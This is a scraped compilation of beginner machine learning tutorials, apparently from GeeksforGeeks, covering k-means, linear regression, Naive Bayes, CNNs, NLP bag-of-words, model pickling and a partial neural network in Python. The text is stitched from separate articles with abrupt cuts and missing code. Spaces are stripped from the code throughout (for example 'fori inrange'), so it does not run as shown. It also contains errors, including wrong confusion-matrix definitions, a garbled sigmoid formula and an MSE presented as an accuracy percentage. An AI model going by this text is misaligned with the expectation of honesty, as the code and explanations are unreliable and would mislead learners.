defInitializeMeans(items, k, cMin, cMax):
# Initialize means to random numbers between
# the min and max of each column/feature
f =len(items[0]); # number of features
means =[[0fori inrange(f)] forj inrange(k)];
formean inmeans:
fori inrange(len(mean)):
# Set value to a random float
# (adding +-1 to avoid a wide placement of a mean)
mean[i] =uniform(cMin[i]+1, cMax[i]-1);
returnmeans;
Euclidean Distance
We will be using the euclidean distance as a metric of similarity for our data set (note: depending on your items, you can use another similarity metric).
Python3
defEuclideanDistance(x, y):
S =0; # The sum of the squared differences of the elements
fori inrange(len(x)):
S +=math.pow(x[i]-y[i], 2)
#The square root of the sum
returnmath.sqrt(S)
Update Means
To update a mean, we need to find the average value for its feature, for all the items in the mean/cluster. We can do this by adding all the values and then dividing by the number of items, or we can use a more elegant solution. We will calculate the new average without having to re-add all the values, by doing the following:
m = (m*(n-1)+x)/n
where m is the mean value for a feature, n is the number of items in the cluster, and x is the feature value for the added item. We do the above for each feature to get the new mean.
Python
defUpdateMean(n,mean,item):
fori inrange(len(mean)):
m =mean[i];
m =(m*(n-1)+item[i])/float(n);
mean[i] =round(m, 3);
returnmean;
Classify Items
Now we need to write a function to classify an item into a group/cluster. For the given item, we will find its similarity to each mean, and we will classify the item to the closest one.
Python
defClassify(means,item):
# Classify item to the mean with minimum distance
minimum =sys.maxint;
index =-1;
fori inrange(len(means)):
# Find distance from item to mean
dis =EuclideanDistance(item, means[i]);
if(dis < minimum):
minimum =dis;
index =i;
returnindex;
Find Means
To actually find the means, we will loop through all the items, classify them to their nearest cluster and update the cluster’s mean. We will repeat the process for a fixed number of iterations. If between two iterations no item changes classification, we stop the process as the algorithm has found the optimal solution. The below function takes as input k (the number of desired clusters), the items and the number of maximum iterations, and returns the means and the clusters. The classification of an item is stored in the array belongsTo and the number of items in a cluster is stored in clusterSizes.
The other popularly used similarity measures are:- 1. Cosine distance: It determines the cosine of the angle between the point vectors of the two points in the n-dimensional space 2. Manhattan distance: It computes the sum of the absolute differences between the coordinates of the two data points. 3. Minkowski distance: It is also known as the generalized distance metric. It can be used for both ordinal and quantitative variables You can find the entire code on my GitHub, along with a sample data set and a plotting function. Thanks for reading. This article is contributed by Antonis Maronikolakis. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Image classification is a method to classify way images into their respective category classes using some methods like :
Training a small network from scratch
Fine-tuning the top layers of the model using VGG16
Let’s discuss how to train the model from scratch and classify the data containing cars and planes.
Train Data: Train data contains the 200 images of each car and plane, i.e. in total, there are 400 images in the training dataset
Test Data: Test data contains 50 images of each car and plane i.e., includes a total. There are 100 images in the test dataset To download the complete dataset, click here.
Model Description: Before starting with the model, first prepare the dataset and its arrangement. Look at the following image given below:
For feeding the dataset folders they should be made and provided into this format only. So now, Let’s begins with the model: For training the model we don’t need a large high-end machine and GPU’s, we can work with CPU’s also. Firstly, in given code include the following libraries:
Every image in the dataset is of the size 224*224.
Python3
train_data_dir ='v_data/train'
validation_data_dir ='v_data/test'
nb_train_samples =400
nb_validation_samples =100
epochs =10
batch_size =16
Here, the train_data_dir is the train dataset directory. validation_data_dir is the directory for validation data. nb_train_samples is the total number of train samples. nb_validation_samples is the total number of validation samples.
Checking format of Image:
Python3
ifK.image_data_format() =='channels_first':
input_shape =(3, img_width, img_height)
else:
input_shape =(img_width, img_height, 3)
This part is to check the data format i.e the RGB channel is coming first or last so, whatever it may be, the model will check first and then input shape will be fed accordingly.
Conv2D is the layer to convolve the image into multiple images Activation is the activation function. MaxPooling2D is used to max pool the value from the given size matrix and same is used for the next 2 layers. then, Flatten is used to flatten the dimensions of the image obtained after convolving it. Dense is used to make this a fully connected model and is the hidden layer. Dropout is used to avoid overfitting on the dataset. Dense is the output layer contains only one neuron which decide to which category image belongs.
Compile Function:
Python3
model.compile(loss='binary_crossentropy',
optimizer='rmsprop',
metrics=['accuracy'])
Compile function is used here that involve the use of loss, optimizers and metrics. Here loss function used is binary_crossentropy, optimizer used is rmsprop.
Now, the part of dataGenerator comes into the figure. In which we have used:
ImageDataGenerator that rescales the image, applies shear in some range, zooms the image and does horizontal flipping with the image. This ImageDataGenerator includes all possible orientation of the image. train_datagen.flow_from_directory is the function that is used to prepare data from the train_dataset directory Target_size specifies the target size of the image. test_datagen.flow_from_directory is used to prepare test data for the model and all is similar as above. fit_generator is used to fit the data into the model made above, other factors used are steps_per_epochs tells us about the number of times the model will execute for the training data. epochs tells us the number of times model will be trained in forward and backward pass. validation_data is used to feed the validation/test data into the model. validation_steps denotes the number of validation/test samples.
Python3
model.save_weights('model_saved.h5')
At last, we can also save the model.
Model Output:
Loading and Prediction
Load Model with “load_model”
Convert Images to Numpy Arrays for passing into ML Model
# the limit within which random numbers are generated
TRAIN_SET_LIMIT =1000
# to create exactly 100 data items
TRAIN_SET_COUNT =100
# list that contains input and corresponding output
TRAIN_INPUT =list()
TRAIN_OUTPUT =list()
# loop to create 100 data items with three columns each
fori inrange(TRAIN_SET_COUNT):
a =randint(0, TRAIN_SET_LIMIT)
b =randint(0, TRAIN_SET_LIMIT)
c =randint(0, TRAIN_SET_LIMIT)
# creating the output for each data item
op =a +(2*b) +(3*c)
TRAIN_INPUT.append([a, b, c])
# adding each output to output list
TRAIN_OUTPUT.append(op)
Machine Learning Model – Linear Regression
The Model can be created in two steps:- 1. Training the model with Training Data 2. Testing the model with Test Data
Training the Model The data that was created using the above code is used to train the model
# Sk-Learn contains the linear regression model
fromsklearn.linear_model importLinearRegression
# Initialize the linear regression model
predictor =LinearRegression(n_jobs =-1)
# Fill the Model with the Data
predictor.fit(X =TRAIN_INPUT, y =TRAIN_OUTPUT)
Testing the Data The testing is done Manually. Testing can be done using some random data and testing if the model gives the correct result for the input data.
# Random Test data
X_TEST = [[ 10, 20, 30 ]]
# Predict the result of X_TEST which holds testing data
Recommender System is a system that seeks to predict or filter preferences according to the user’s choices. Recommender systems are utilized in a variety of areas including movies, music, news, books, research articles, search queries, social tags, and products in general. Recommender systems produce a list of recommendations in any of the two ways –
Collaborative filtering: Collaborative filtering approaches build a model from the user’s past behavior (i.e. items purchased or searched by the user) as well as similar decisions made by other users. This model is then used to predict items (or ratings for items) that users may have an interest in.
Content-based filtering: Content-based filtering approaches uses a series of discrete characteristics of an item in order to recommend additional items with similar properties. Content-based filtering methods are totally based on a description of the item and a profile of the user’s preferences. It recommends items based on the user’s past preferences.
Let’s develop a basic recommendation system using Python and Pandas. Let’s focus on providing a basic recommendation system by suggesting items that are most similar to a particular item, in this case, movies. It just tells what movies/items are most similar to the user’s movie choice. To download the files, click on the links – .tsv file, Movie_Id_Titles.csv. Import dataset with delimiter “\t” as the file is a tsv file (tab-separated file).
Boston Housing Data: This dataset was taken from the StatLib library and is maintained by Carnegie Mellon University. This dataset concerns the housing prices in the housing city of Boston. The dataset provided has 506 instances with 13 features. The Description of the dataset is taken from
Let’s make the Linear Regression Model, predicting housing prices Inputting Libraries and dataset.
Python3
# Importing Libraries
importnumpy as np
importpandas as pd
importmatplotlib.pyplot as plt
# Importing Data
fromsklearn.datasets importload_boston
boston =load_boston()
The shape of input Boston data and getting feature_names
Python3
boston.data.shape
Python3
boston.feature_names
Converting data from nd-array to data frame and adding feature names to the data
Python3
data =pd.DataFrame(boston.data)
data.columns =boston.feature_names
data.head(10)
Adding ‘Price’ column to the dataset
Python3
# Adding 'Price' (target) column to the data
boston.target.shape
Python3
data['Price'] =boston.target
data.head()
Description of Boston dataset
Python3
data.describe()
Info of Boston Dataset
Python3
data.info()
Getting input and output data and further splitting data to training and testing dataset.
xtrain, xtest, ytrain, ytest =train_test_split(x, y, test_size =0.2,
random_state =0)
print("xtrain shape : ", xtrain.shape)
print("xtest shape : ", xtest.shape)
print("ytrain shape : ", ytrain.shape)
print("ytest shape : ", ytest.shape)
Applying Linear Regression Model to the dataset and predicting the prices.
Python3
# Fitting Multi Linear regression model to training model
fromsklearn.linear_model importLinearRegression
regressor =LinearRegression()
regressor.fit(xtrain, ytrain)
# predicting the test set results
y_pred =regressor.predict(xtest)
Plotting Scatter graph to show the prediction results – ‘ytrue’ value vs ‘y_pred’ value
Python3
# Plotting Scatter graph to show the prediction
# results - 'ytrue' value vs 'y_pred' value
plt.scatter(ytest, y_pred, c ='green')
plt.xlabel("Price: in $1000's")
plt.ylabel("Predicted value")
plt.title("True value vs predicted value : Linear Regression")
plt.show()
Results of Linear Regression i.e. Mean Squared Error.
Python3
# Results of Linear Regression.
fromsklearn.metrics importmean_squared_error
mse =mean_squared_error(ytest, y_pred)
print("Mean Square Error : ", mse)
As per the result, our model is only 66.55% accurate. So, the prepared model is not very good for predicting housing prices. One can improve the prediction results using many other possible machine learning algorithms and techniques.
My Personal Notesarrow_drop_up
ML | Cancer cell classification using Scikit-learn
Machine Learning is a sub-field of Artificial Intelligence that gives systems the ability to learn themselves without being explicitly programmed to do so. Machine Learning can be used in solving many real world problems. Let’s classify cancer cells based on their features, and identifying them if they are ‘malignant’ or ‘benign’. We will be using scikit-learn for a machine learning problem. Scikit-learn is an open-source machine learning, data mining and data analysis library for Python programming language. The dataset: Scikit-learn comes with a few small standard datasets that do not require downloading any file from any external website. The dataset that we will be using for our machine learning problem is the Breast cancer wisconsin (diagnostic) dataset. The dataset includes several data about the breast cancer tumors along with the classifications labels, viz., malignant or benign. It can be loaded using the following function:
load_breast_cancer([return_X_y])
The data set has 569 instances or data of 569 tumors and includes data on 30 attributes or features like the radius, texture, perimeter, area, etc. of a tumor. We will be using these features to train our model. Installing the necessary modules: For this machine learning project, we will be needing the ‘Scikit-learn’ Python module. If you don’t have it installed on your machine, download and install it by running the following command in the command prompt:
pip install scikit-learn
Note: You can use any IDE for this project, by it is highly recommended Jupyter notebook for the project. This is because, since Python is an interpreted language, so, one can take its full advantage by running a few lines of code and see and understand what’s happening, step by step, instead of writing the whole script and once and then running it. Install it by running the following command in the command prompt:
pip install jupyter
Step by step implementation of classification using Scikit-learn:
Step #1: Importing the necessary module and dataset. We will be needing the ‘Scikit-learn’ module and the Breast cancer wisconsin (diagnostic) dataset.
Python3
# importing the Python module
importsklearn
# importing the dataset
fromsklearn.datasets importload_breast_cancer
Step #2: Loading the dataset to a variable.
Python3
# loading the dataset
data =load_breast_cancer()
The important attributes that we must consider from that dataset are ‘target-names'(the meaning of the labels), ‘target'(the classification labels), ‘feature_names'(the meaning of the features) and ‘data'(the data to learn). Step #3: Organizing the data and looking at it. To get a better understanding of what the dataset contains and how we can use the data to train our model, let us first organize the data and then see what it contains by using the print() function.
Python3
# Organize our data
label_names =data['target_names']
labels =data['target']
feature_names =data['feature_names']
features =data['data']
Then, using the print() function, let us examine the data.
Python3
# looking at the data
print(label_names)
Output:
['malignant' 'benign']
So, we see that each dataset of a tumor is labelled as either ‘malignant’ or ‘benign’.
Here, we see all the 30 features or attributes that each dataset of the tumor has. We will be using the numerical values of these features in training our model and make the correct prediction, whether or not a tumor is malignant or benign, based on these features.
This is a huge dataset containing the numerical values of the 30 attributes of all the 569 instances of tumor data. So, from the above data, we can conclude that the first instance of tumor is malignant and it has a mean radius of value 1.79900000e+01.
Step #4: Organizing the data into Sets. For testing the accuracy of our classifier, we must test the model on unseen data. So, before building the model, we will split our data into two sets, viz., training set and test set. We will be using the training set to train and evaluate the model and then use the trained model to make predictions on the unseen test set. The sklearn module has a built-in function called the train_test_split(), which automatically divides the data into these sets. We will be using this function two split the data.
The train_test_split() function randomly splits the data using the parameter test_size. What we have done here is that we have split 33% of the original data into test data (test). The remaining data (train) is the training data. Also, we have respective labels for both the train variables and test variables, i.e. train_labels and test_labels. To learn more about how to use the train_test_split() function, you can refer to the official documentation.
Step #5: Building the Model. There are many machine learning models to choose from. All of them have their own advantages and disadvantages. For this model, we will be using the Naive Bayes algorithm that usually performs well in binary classification tasks. Firstly, import the GaussianNB module and initialize it using the GaussianNB() function. Then train the model by fitting it to the data in the dataset using the fit() method.
Python3
# importing the module of the machine learning model
fromsklearn.naive_bayes importGaussianNB
# initializing the classifier
gnb =GaussianNB()
# training the classifier
model =gnb.fit(train, train_labels)
After the training is complete, we can use the trained model to make predictions on our test set that we have prepared before. To do that, we will use the built-in predict() function which returns an array of prediction values for data instance in the test set. We will then print our predictions using the print() function.
From the output above, we see that the predict() function returned an array of 0s and 1s. These values represent the predicted values of the test set for the tumor class (malignant or benign).
Step #6: Evaluating the trained model’s accuracy. As we have predicted values now, we can evaluate our model’s accuracy by comparing it with the actual labels of the test set, i.e., comparing predictions with test_labels. For this purpose, we will be using the built-in accuracy_score() function in the sklearn module.
Python3
# importing the accuracy measuring function
fromsklearn.metrics importaccuracy_score
# evaluating the accuracy
print(accuracy_score(test_labels, predictions))
Output:
0.9414893617021277
So, we find out that this machine learning classifier based on the Naive Bayes algorithm is 94.15% accurate in predicting whether a tumor is malignant or benign.
In machine learning, while working with scikit learn library, we need to save the trained models in a file and restore them in order to reuse it to compare the model with other models, to test the model on a new data. The saving of data is called Serialization, while restoring the data is called Deserialization. Also, we deal with different types and sizes of data. Some datasets are easily trained i.e- they take less time to train but the datasets whose size is large (more than 1GB) can take very large time to train on a local machine even with GPU. When we need the same trained data in some different project or later sometime, to avoid the wastage of the training time, store trained model so that it can be used anytime in the future. There are two ways we can save a model in scikit learn:
Pickle string: The pickle module implements a fundamental, but powerful algorithm for serializing and de-serializing a Python object structure.
Pickle model provides the following functions – pickle.dump to serialize an object hierarchy, you simply use dump(). pickle.load to deserialize a data stream, you call the loads() function.
Example: Let’s apply K Nearest Neighbor on iris dataset and then save the model.
Python3
importnumpy as np
# Load dataset
fromsklearn.datasets importload_iris
iris =load_iris()
X =iris.data
y =iris.target
# Split dataset into train and test
X_train, X_test, y_train, y_test =\
train_test_split(X, y, test_size =0.3,
random_state =2018)
# import KNeighborsClassifier model
fromsklearn.neighbors importKNeighborsClassifier as KNN
knn =KNN(n_neighbors =3)
# train model
knn.fit(X_train, y_train)
Save model to string using pickle –
Python3
importpickle
# Save the trained model as a pickle string.
saved_model =pickle.dumps(knn)
# Load the pickled model
knn_from_pickle =pickle.loads(saved_model)
# Use the loaded pickled model to make predictions
knn_from_pickle.predict(X_test)
Output:
Pickled model as a file using joblib: Joblib is the replacement of pickle as it is more efficient on objects that carry large numpy arrays. These functions also accept file-like object instead of filenames.
joblib.dump to serialize an object hierarchy joblib.load to deserialize a data stream
Save to pickled file using joblib –
Python3
importjoblib
# Save the model as a pickle in a file
joblib.dump(knn, 'filename.pkl')
# Load the model from the file
knn_from_joblib =joblib.load('filename.pkl')
# Use the loaded model to make predictions
knn_from_joblib.predict(X_test)
Output:
My Personal Notesarrow_drop_up
Applying Convolutional Neural Network on mnist dataset
CNN is basically a model known to be Convolutional Neural Network and in recent times it has gained a lot of popularity because of its usefulness. CNN uses multilayer perceptrons to do computational works. CNN uses relatively little pre-processing compared to other image classification algorithms. This means the network learns through filters that in traditional algorithms were hand-engineered. So, for the image processing tasks CNNs are the best-suited option.
MNIST dataset: mnist dataset is a dataset of handwritten images as shown below in the image.
We can get 99.06% accuracy by using CNN(Convolutional Neural Network) with a functional model. The reason for using a functional model is to maintain easiness while connecting the layers.
While proceeding further, img_rows and img_cols are used as the image dimensions. In mnist dataset, it is 28 and 28. We also need to check the data format i.e. ‘channels_first’ or ‘channels_last’. In CNN, we can normalize data before hands such that large terms of the calculations can be reduced to smaller terms. Like, we can normalize the x_train and x_test data by dividing it by 255. Checking data-format:
Since the output of the model can comprise any of the digits between 0 to 9. so, we need 10 classes in output. To make output for 10 classes, use keras.utils.to_categorical function, which will provide the 10 columns. Out of these 10 columns, only one value will be one and the rest 9 will be zero and this one value of the output will denote the class of the digit.
Python3
y_train =keras.utils.to_categorical(y_train)
y_test =keras.utils.to_categorical(y_test)
Now, the dataset is ready so let’s move towards the CNN model :
Explanation of the working of each layer in theCNN model: layer1 is the Conv2d layer which convolves the image using 32 filters each of size (3*3). layer2 is again a Conv2D layer which is also used to convolve the image and is using 64 filters each of size (3*3). layer3 is the MaxPooling2D layer which picks the max value out of a matrix of size (3*3). layer4 is showing Dropout at a rate of 0.5. layer5 is flattening the output obtained from layer4 and this flattens output is passed to layer6. layer6 is a hidden layer of a neural network containing 250 neurons. layer7 is the output layer having 10 neurons for 10 classes of output that is using the softmax function.
Firstly, we made an object of the model as shown in the above-given lines, where [inpx] is the input in the model and layer7 is the output of the model. We compiled the model using the required optimizer, loss function and printed the accuracy and at the last model.fit was called along with parameters like x_train(means image vectors), y_train(means the label), number of epochs, and the batch size. Using fit function x_train, y_train dataset is fed to model in particular batch size.
Evaluate function: model.evaluate provides the score for the test data i.e. provided the test data to the model. Now, the model will predict the class of the data, and the predicted class will be matched with the y_test label to give us the accuracy.
Natural language processing (NLP) is an area of computer science and artificial intelligence concerned with the interactions between computers and human (natural) languages, in particular how to program computers to process and analyze large amounts of natural language data. It is the branch of machine learning which is about analyzing any text and handling predictive analysis. Scikit-learn is a free software machine learning library for the Python programming language. Scikit-learn is largely written in Python, with some core algorithms written in Cython to achieve performance. Cython is a superset of the Python programming language, designed to give C-like performance with code that is written mostly in Python. Let’s understand the various steps involved in text processing and the flow of NLP. This algorithm can be easily applied to any other kind of text like classify a book into Romance, Friction, but for now, let’s use a restaurant review dataset to review negative or positive feedback.
Steps involved:
Step 1: Import dataset with setting delimiter as ‘\t’ as columns are separated as tab space. Reviews and their category(0 or 1) are not separated by any other symbol but with tab space as most of the other symbols are is the review (like $ for the price, ….!, etc) and the algorithm might use them as a delimiter, which will lead to strange behavior (like errors, weird output) in output.
To download the Restaurant_Reviews.tsv dataset used, click here. Step 2: Text Cleaning or Preprocessing
Remove Punctuations, Numbers: Punctuations, Numbers don’t help much in processing the given text, if included, they will just increase the size of a bag of words that we will create as the last step and decrease the efficiency of an algorithm.
Stemming: Take roots of the word
Convert each word into its lower case: For example, it is useless to have some words in different cases (eg ‘good’ and ‘GOOD’).
Examples: Before and after applying above code (reviews = > before, corpus => after)
Step 3: Tokenization, involves splitting sentences and words from the body of the text. Step 4: Making the bag of words via sparse matrix
Take all the different words of reviews in the dataset without repeating of words.
One column for each word, therefore there is going to be many columns.
Rows are reviews
If a word is there in the row of a dataset of reviews, then the count of the word will be there in the row of a bag of words under the column of the word.
Examples: Let’s take a dataset of reviews of only two reviews
Input : "dam good steak", "good food good service"
Output :
For this purpose we need CountVectorizer class from sklearn.feature_extraction.text. We can also set a max number of features (max no. features which help the most via attribute “max_features”). Do the training on the corpus and then apply the same transformation to the corpus “.fit_transform(corpus)” and then convert it into an array. If the review is positive or negative that answer is in the second column of the dataset[:, 1]: all rows and 1st column (indexing from zero).
In second column, 0 is for negative review and 1 is for positive review
Step 5: Splitting Corpus into Training and Test set. For this, we need class train_test_split from sklearn.cross_validation. Split can be made 70/30 or 80/20 or 85/15 or 75/25, here I choose 75/25 via “test_size”. X is the bag of words, y is 0 or 1 (positive or negative).
X_train, X_test, y_train, y_test =train_test_split(X, y, test_size =0.25)
Step 6: Fitting a Predictive Model (here random forest)
Since Random forest is an ensemble model (made of many trees) from sklearn.ensemble, import RandomForestClassifier class
With 501 trees or “n_estimators” and criterion as ‘entropy’
Fit the model via .fit() method with attributes X_train and y_train
Python3
# Fitting Random Forest Classification
# to the Training set
fromsklearn.ensemble importRandomForestClassifier
# n_estimators can be said as number of
# trees, experiment with n_estimators
# to get better results
model =RandomForestClassifier(n_estimators =501,
criterion ='entropy')
model.fit(X_train, y_train)
Step 7: Predicting Final Results via using .predict() method with attribute X_test
Python3
# Predicting the Test set results
y_pred =model.predict(X_test)
y_pred
Note: Accuracy with the random forest was 72%.(It may be different when performed an experiment with different test sizes, here = 0.25). Step 8: To know the accuracy, a confusion matrix is needed. Confusion Matrix is a 2X2 Matrix.
TRUE POSITIVE : measures the proportion of actual positives that are correctly identified. TRUE NEGATIVE : measures the proportion of actual positives that are not correctly identified. FALSE POSITIVE : measures the proportion of actual negatives that are correctly identified. FALSE NEGATIVE : measures the proportion of actual negatives that are not correctly identified.
Note: True or False refers to the assigned classification being Correct or Incorrect, while Positive or Negative refers to assignment to the Positive or the Negative Category
Python3
# Making the Confusion Matrix
fromsklearn.metrics importconfusion_matrix
cm =confusion_matrix(y_test, y_pred)
cm
My Personal Notesarrow_drop_up
Learning Model Building in Scikit-learn : A Python Machine Learning Library
Pre-requisite: Getting started with machine learning scikit-learn is an open-source Python library that implements a range of machine learning, pre-processing, cross-validation, and visualization algorithms using a unified interface.
Important features of scikit-learn:
Simple and efficient tools for data mining and data analysis. It features various classification, regression and clustering algorithms including support vector machines, random forests, gradient boosting, k-means, etc.
Accessible to everybody and reusable in various contexts.
Built on the top of NumPy, SciPy, and matplotlib.
Open source, commercially usable – BSD license.
In this article, we are going to see how we can easily build a machine learning model using scikit-learn.
Installation:
Scikit-learn requires:
NumPy
SciPy as its dependencies.
Before installing scikit-learn, ensure that you have NumPy and SciPy installed. Once you have a working installation of NumPy and SciPy, the easiest way to install scikit-learn is using pip:
pip install -U scikit-learn
Let us get started with the modeling process now.
Step 1: Load a dataset
A dataset is nothing but a collection of data. A dataset generally has two main components:
Features: (also known as predictors, inputs, or attributes) they are simply the variables of our data. They can be more than one and hence represented by a feature matrix (‘X’ is a common notation to represent feature matrix). A list of all the feature names is termed feature names.
Response: (also known as the target, label, or output) This is the output variable depending on the feature variables. We generally have a single response column and it is represented by a response vector (‘y’ is a common notation to represent response vector). All the possible values taken by a response vector are termed target names.
Loading exemplar dataset: scikit-learn comes loaded with a few example datasets like the iris and digits datasets for classification and the boston house prices dataset for regression.
Given below is an example of how one can load an exemplar dataset:
Python
# load the iris dataset as an example
fromsklearn.datasets importload_iris
iris =load_iris()
# store the feature matrix (X) and response vector (y)
X =iris.data
y =iris.target
# store the feature and target names
feature_names =iris.feature_names
target_names =iris.target_names
# printing features and target names of our dataset
print("Feature names:", feature_names)
print("Target names:", target_names)
# X and y are numpy arrays
print("\nType of X is:", type(X))
# printing first 5 input rows
print("\nFirst 5 rows of X:\n", X[:5])
Output:
Feature names: ['sepal length (cm)','sepal width (cm)',
'petal length (cm)','petal width (cm)']
Target names: ['setosa' 'versicolor' 'virginica']
Type of X is:
First 5 rows of X:
[[ 5.1 3.5 1.4 0.2]
[ 4.9 3. 1.4 0.2]
[ 4.7 3.2 1.3 0.2]
[ 4.6 3.1 1.5 0.2]
[ 5. 3.6 1.4 0.2]]
Loading external dataset: Now, consider the case when we want to load an external dataset. For this purpose, we can use the pandas library for easily loading and manipulating datasets.
To install pandas, use the following pip command:
pip install pandas
In pandas, important data types are: Series: Series is a one-dimensional labeled array capable of holding any data type.
DataFrame: It is a 2-dimensional labeled data structure with columns of potentially different types. You can think of it like a spreadsheet or SQL table, or a dict of Series objects. It is generally the most commonly used pandas object. Note: The CSV file used in the example below can be downloaded from here: weather.csv
Python
importpandas as pd
# reading csv file
data =pd.read_csv('weather.csv')
# shape of dataset
print("Shape:", data.shape)
# column names
print("\nFeatures:", data.columns)
# storing the feature matrix (X) and response vector (y)
X =data[data.columns[:-1]]
y =data[data.columns[-1]]
# printing first 5 rows of feature matrix
print("\nFeature matrix:\n", X.head())
# printing first 5 values of response vector
print("\nResponse vector:\n", y.head())
Output:
Shape: (14, 5)
Features: Index([u'Outlook', u'Temperature', u'Humidity',
u'Windy', u'Play'], dtype='object')
Feature matrix:
Outlook Temperature Humidity Windy
0 overcast hot high False
1 overcast cool normal True
2 overcast mild high True
3 overcast hot normal False
4 rainy mild high False
Response vector:
0 yes
1 yes
2 yes
3 yes
4 yes
Name: Play, dtype: object
Step 2: Splitting the dataset One important aspect of all machine learning models is to determine their accuracy. Now, in order to determine their accuracy, one can train the model using the given dataset and then predict the response values for the same dataset using that model and hence, find the accuracy of the model. But this method has several flaws in it, like:
The goal is to estimate the likely performance of a model on out-of-sample data.
Maximizing training accuracy rewards overly complex models that won’t necessarily generalize our model.
Unnecessarily complex models may over-fit the training data.
A better option is to split our data into two parts: the first one for training our machine learning model, and the second one for testing our model.
To summarize:
Split the dataset into two pieces: a training set and a testing set.
Train the model on the training set.
Test the model on the testing set, and evaluate how well our model did.
Advantages of train/test split:
The model can be trained and tested on different data than the one used for training.
Response values are known for the test dataset, hence predictions can be evaluated
Testing accuracy is a better estimate than training accuracy of out-of-sample performance.
Consider the example below:
Python
# load the iris dataset as an example
fromsklearn.datasets importload_iris
iris =load_iris()
# store the feature matrix (X) and response vector (y)
X =iris.data
y =iris.target
# splitting X and y into training and testing sets
X_train, X_test, y_train, y_test =train_test_split(X, y, test_size=0.4, random_state=1)
# printing the shapes of the new X objects
print(X_train.shape)
print(X_test.shape)
# printing the shapes of the new y objects
print(y_train.shape)
print(y_test.shape)
Output:
(90L, 4L)
(60L, 4L)
(90L,)
(60L,)
The train_test_split function takes several arguments which are explained below:
X, y: These are the feature matrix and response vector which need to be split.
test_size: It is the ratio of test data to the given data. For example, setting test_size = 0.4 for 150 rows of X produces test data of 150 x 0.4 = 60 rows.
random_state: If you use random_state = some_number, then you can guarantee that your split will be always the same. This is useful if you want reproducible results, for example in testing for consistency in the documentation (so that everybody can see the same numbers).
Step 3: Training the model
Now, it’s time to train some prediction models using our dataset. Scikit-learn provides a wide range of machine learning algorithms that have a unified/consistent interface for fitting, predicting accuracy, etc. The example given below uses KNN (K nearest neighbors) classifier.
Note: We will not go into the details of how the algorithm works as we are interested in understanding its implementation only.
Now, consider the example below:
Python
# load the iris dataset as an example
fromsklearn.datasets importload_iris
iris =load_iris()
# store the feature matrix (X) and response vector (y)
X =iris.data
y =iris.target
# splitting X and y into training and testing sets
X_train, X_test, y_train, y_test =train_test_split(X, y, test_size=0.4, random_state=1)
# training the model on training set
fromsklearn.neighbors importKNeighborsClassifier
knn =KNeighborsClassifier(n_neighbors=3)
knn.fit(X_train, y_train)
# making predictions on the testing set
y_pred =knn.predict(X_test)
# comparing actual response values (y_test) with predicted response values (y_pred)
fromsklearn importmetrics
print("kNN model accuracy:", metrics.accuracy_score(y_test, y_pred))
# making prediction for out of sample data
sample =[[3, 5, 4, 2], [2, 3, 5, 4]]
preds =knn.predict(sample)
pred_species =[iris.target_names[p] forp inpreds]
print("Predictions:", pred_species)
# saving the model
fromsklearn.externals importjoblib
joblib.dump(knn, 'iris_knn.pkl')
Output:
kNN model accuracy: 0.983333333333
Predictions: ['versicolor', 'virginica']
Important points to note from the above code:
We create a knn classifier object using:
knn = KNeighborsClassifier(n_neighbors=3)
The classifier is trained using X_train data. The process is termed fitting. We pass the feature matrix and the corresponding response vector.
knn.fit(X_train, y_train)
Now, we need to test our classifier on the X_test data. knn.predict method is used for this purpose. It returns the predicted response vector, y_pred.
y_pred = knn.predict(X_test)
Now, we are interested in finding the accuracy of our model by comparing y_test and y_pred. This is done using the metrics module’s method accuracy_score:
print(metrics.accuracy_score(y_test, y_pred))
Consider the case when you want your model to make predictions out of sample data. Then, the sample input can simply be passed in the same way as we pass any feature matrix.
If you are not interested in training your classifier again and again and using the pre-trained classifier, one can save their classifier using joblib. All you need to do is:
joblib.dump(knn, 'iris_knn.pkl')
In case you want to load an already saved classifier, use the following method:
knn = joblib.load('iris_knn.pkl')
As we approach the end of this article, here are some benefits of using scikit-learn over some other machine learning libraries(like R libraries):
Consistent interface to machine learning models
Provides many tuning parameters but with sensible defaults
This article is contributed by Nikhil Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Implementing Artificial Neural Network training process in Python
An Artificial Neural Network (ANN) is an information processing paradigm that is inspired the brain. ANNs, like people, learn by example. An ANN is configured for a specific application, such as pattern recognition or data classification, through a learning process. Learning largely involves adjustments to the synaptic connections that exist between the neurons.
The brain consists of hundreds of billions of cells called neurons. These neurons are connected together by synapses which are nothing but the connections across which a neuron can send an impulse to another neuron. When a neuron sends an excitatory signal to another neuron, then this signal will be added to all of the other inputs of that neuron. If it exceeds a given threshold then it will cause the target neuron to fire an action signal forward — this is how the thinking process works internally. In Computer Science, we model this process by creating “networks” on a computer using matrices. These networks can be understood as an abstraction of neurons without all the biological complexities taken into account. To keep things simple, we will just model a simple NN, with two layers capable of solving a linear classification problem.
Let’s say we have a problem where we want to predict output given a set of inputs and outputs as training example like so:
Note that the output is directly related to the third column i.e. the values of input 3 is what the output is in every training example in fig. 2. So for the test example output value should be 1.
The training process consists of the following steps:
Forward Propagation: Take the inputs, multiply by the weights (just use random numbers as weights) Let Y = WiIi = W1I1+W2I2+W3I3 Pass the result through a sigmoid formula to calculate the neuron’s output. The Sigmoid function is used to normalize the result between 0 and 1: 1/1 + e-y
Back Propagation Calculate the error i.e the difference between the actual output and the expected output. Depending on the error, adjust the weights by multiplying the error with the input and again with the gradient of the Sigmoid curve: Weight += Error Input Output (1-Output) ,here Output (1-Output) is derivative of sigmoid curve.
Note: Repeat the whole process for a few thousand iterations. Let’s code up the whole process in Python. We’ll be using the Numpy library to help us with all the calculations on matrices easily. You’d need to install a numpy library on your system to run the code Command to install numpy:
sudo apt -get install python-numpy
Implementation:
Python3
fromjoblib.numpy_pickle_utils importxrange
fromnumpy import*
classNeuralNet(object):
def__init__(self):
# Generate random numbers
random.seed(1)
# Assign random weights to a 3 x 1 matrix,
self.synaptic_weights =2*random.random((3, 1)) -1
# The Sigmoid function
def__sigmoid(self, x):
return1/(1+exp(-x))
# The derivative of the Sigmoid function.
# This is the gradient of the Sigmoid curve.
def__sigmoid_derivative(self, x):
returnx *(1-x)
# Train the neural network and adjust the weights each time.
